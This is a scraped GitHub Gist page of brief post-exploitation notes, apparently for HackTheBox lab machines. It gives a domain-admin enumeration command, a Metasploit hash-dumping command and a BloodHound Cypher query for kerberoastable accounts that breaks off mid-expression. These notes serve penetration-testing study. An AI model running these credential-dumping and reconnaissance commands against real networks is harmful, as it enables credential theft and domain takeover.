Skip to content

Instantly share code, notes, and snippets.

View RajChowdhury240's full-sized avatar
💻
just another learner

Raj Chowdhury RajChowdhury240

💻
just another learner
  • Confidential
  • $ aws sts get-caller-identity
  • 16:06 (UTC +10:00)
View GitHub Profile
https://fzl-aws.notion.site/TombWatcher-HTB-20fb231ab1b68048b73bc92c932edfbc
[+] After compromising a Windows machine:

[>] List the domain administrators:
From Shell - net group "Domain Admins" /domain

[>] Dump the hashes (Metasploit)
msf > run post/windows/gather/smart_hashdump GETSYSTEM=FALSE
MATCH (n:Base)
WHERE n.hasspn = true
AND ((
  n.supportedencryptiontypes <> ['Not defined']
  OR n.supportedencryptiontypes <> []
  OR NONE(type IN n.supportedencryptiontypes WHERE type CONTAINS 'AES128' OR type CONTAINS 'AES256')
)
OR (n.pwdlastset < 1204070400 // Password Last Set before Windows Server 2008
AND NOT n.pwdlastset IN [-1.0, 0.0]
https://fzl-aws.notion.site/Rebound-HTB-21db231ab1b68080ad3ecd2fa762d9d0
https://github.com/groovyBugify/aws-security-mcp